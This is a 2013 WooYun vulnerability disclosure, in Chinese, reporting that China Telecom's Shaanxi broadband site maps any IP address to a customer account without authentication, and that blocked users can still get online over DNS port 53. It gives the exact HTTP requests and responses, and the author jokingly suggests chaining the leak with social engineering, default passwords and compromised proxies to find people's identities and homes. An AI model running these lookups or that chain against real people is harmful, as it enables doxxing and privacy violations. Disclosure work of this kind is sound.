当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-021743

漏洞标题:中国电信ADSL宽带信息泄露+欠费照样上网,可查任意IP对应的宽带账号,电话号码,

相关厂商:中国电信

漏洞作者: 核攻击

提交时间:2013-04-13 14:33

修复时间:2013-05-28 14:34

公开时间:2013-05-28 14:34

漏洞类型:重要敏感信息泄露

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-04-13: 细节已通知厂商并且等待厂商处理中
2013-04-16: 厂商已经确认,细节仅向厂商公开
2013-04-26: 细节向核心白帽子及相关领域专家公开
2013-05-06: 细节向普通白帽子公开
2013-05-16: 细节向实习白帽子公开
2013-05-28: 细节向公众公开

简要描述:

中国电信ADSL宽带信息泄露+欠费照样上网,可查任意IP对应的宽带账号、电话号码、身份证、户口本,上门砍人。

详细说明:

标题纯属娱乐……
嗯,原文地址:http://lcx.cc/?i=3422
家里宽带有一段时间没用了,打开一开,你妹的,跳到欠费页面,好吧,既然上不了网,就研究一下电信ADSL宽带在欠费情况下会出现什么状况……
花了点时间分析了下,于是这篇文章就出来了(此处针对的是陕西电信,其他省市应该雷同)。
电信有线宽带欠费状态:
1、拦截使用任何通讯,TCP、ICMP、UDP等协议只允许访问电信官网,例如:sn.189.cn,推测是基于IP过滤。
2、但可以使用53端口的UDP通讯(DNS查询协议)。
3、不限制53端口UDP通讯的目标IP地址,例如:nslookup lcx.cc 8.8.8.8,所以可以使用udp代理绕过电信拦截,访问互联网。
4、任何访问80端口的数据(任何IP地址,除了电信官方网站,例如:sn.189.cn),将被强制重定向到“http://sn.189.cn/jsp/691error/queryTypes.jsp”(电信可以随时劫持任何通讯)。
5、可以无障碍访问电信官方网站,例如:sn.189.cn,其他域名将被重定向(参考:4)。
重定向后的流程:
1、首先访问691错误页面:

1.png


GET http://sn.189.cn/jsp/691error/queryTypes.jsp
提示:返回的数据中会存在一些有价值的信息,例如:
var ip = "113.*.*.193";
2、然后通过IP查询对应的宽带账号:
(呵呵,这证明电信会实时储存IP对应的用户信息,所以嘛,公安抓你很容易……)
POST /freeAccountLogin HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://sn.189.cn/jsp/691error/queryTypes.jsp
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
Host: sn.189.cn
Content-Length: 17
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ******
ip=113.*.*.193
返回数据:
HTTP/1.1 200 OK
Date: Sat, 13 Apr 2013 02:49:37 GMT
Content-Length: 40
Content-Type: text/json; charset=utf-8
P3P: CP=CAO PSA OUR
X-Powered-By: Servlet/2.5 JSP/2.1
{"account":"02900******","latnId":"290"}
提示:
GET方式也可以,例如:http://sn.189.cn/freeAccountLogin?ip=113.***.***.192
这里存在严重的信息泄露安全隐患:
我们可以修改参数为任意ip,查询任何人的宽带账号(提示:配合QQ显IP插件,你懂的),再进一步社工+渗透,可以得到姓名、身份证、住址、电话号码等绝密私人信息(我怎会告诉你:在电信官网密码找回或简单社工,而且很多是默认密码,直接进去,户口本就有了……),从而做到上门砍人,咳咳,扯远了……
你懂的……

2.png


亲,电话号码露出来了……
深入一下:
如果这里绑定了本机IP,只能查到自己IP对应的账号,那么我们该如何操作呢?
假设绑定了IP,仍旧还存在其他安全隐患,例如:在肉鸡上开代理(和很多年前刷钻一样,你懂的)、XSS,等其他手段都可以获取到这个信息,或者扫描陕西电信IP段存在的天然代理,例如6666端口,具体不解释,你懂的……
3、然后查询该宽带账号的信息:
POST /service/error/queryTypes.action HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://sn.189.cn/jsp/691error/queryTypes.jsp
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
Host: sn.189.cn
Content-Length: 29
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ******
loginName=02900******&latnId=290
(GET也可以:http://sn.189.cn/service/error/queryTypes.action?loginName=02900******&latnId=290)
提示:这里参数 loginName 没有限制,所以你可以查询任何宽带账号的状态……
返回数据:
HTTP/1.1 200 OK
Date: Sat, 13 Apr 2013 03:03:57 GMT
Content-Length: 11
P3P: CP=CAO PSA OUR
X-Powered-By: Servlet/2.5 JSP/2.1
{"msg":"1"}

3.png


msg参数对应的状态:
success:function(data) {
if(data.msg=='0') {
//该帐户当前属非正常状态,请您携带有效证件到营业厅办理或拨打10000号咨询。
window.location.href="/jsp/691error/shutdown.jsp";
}else if(data.msg=='1') {
//您好,您的宽带已欠费!
window.location.href="/jsp/691error/qryowemoney.jsp";
}else if(data.msg=='3') {
//请您拨打10000号,联系客服人员处理。
window.location.href="/jsp/691error/otherTypes.jsp";
}else if(data.msg=='4') {
$("#error").show();
$("#error").html('<h5>系统繁忙,请稍后再试!</h5>');
}
}
error: function(json) {
$("#error").show();
$("#error").html("");
$("#error").append("<h5>系统忙,请稍后再试!</h5>");
}
4、然后重定向页面到状态码对应的Url地址:
例如:

4.png


您好,您的宽带已欠费!
http://sn.189.cn/jsp/691error/qryowemoney.jsp
5、然后该干嘛干嘛去……
嗯,原文地址:http://lcx.cc/?i=3422

漏洞证明:

2.png


亲,电话号码露出来了……

修复方案:

lol...

版权声明:转载请注明来源 核攻击@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2013-04-16 23:28

厂商回复:

CNVD确认所述情况,已转由CNCERT直接协调中国电信集团公司处置。该案例已经超越常见漏洞风险实例,与业务认证逻辑也相关。
按部分信息泄露风险以及权限绕过综合评分,rank 11

最新状态:

暂无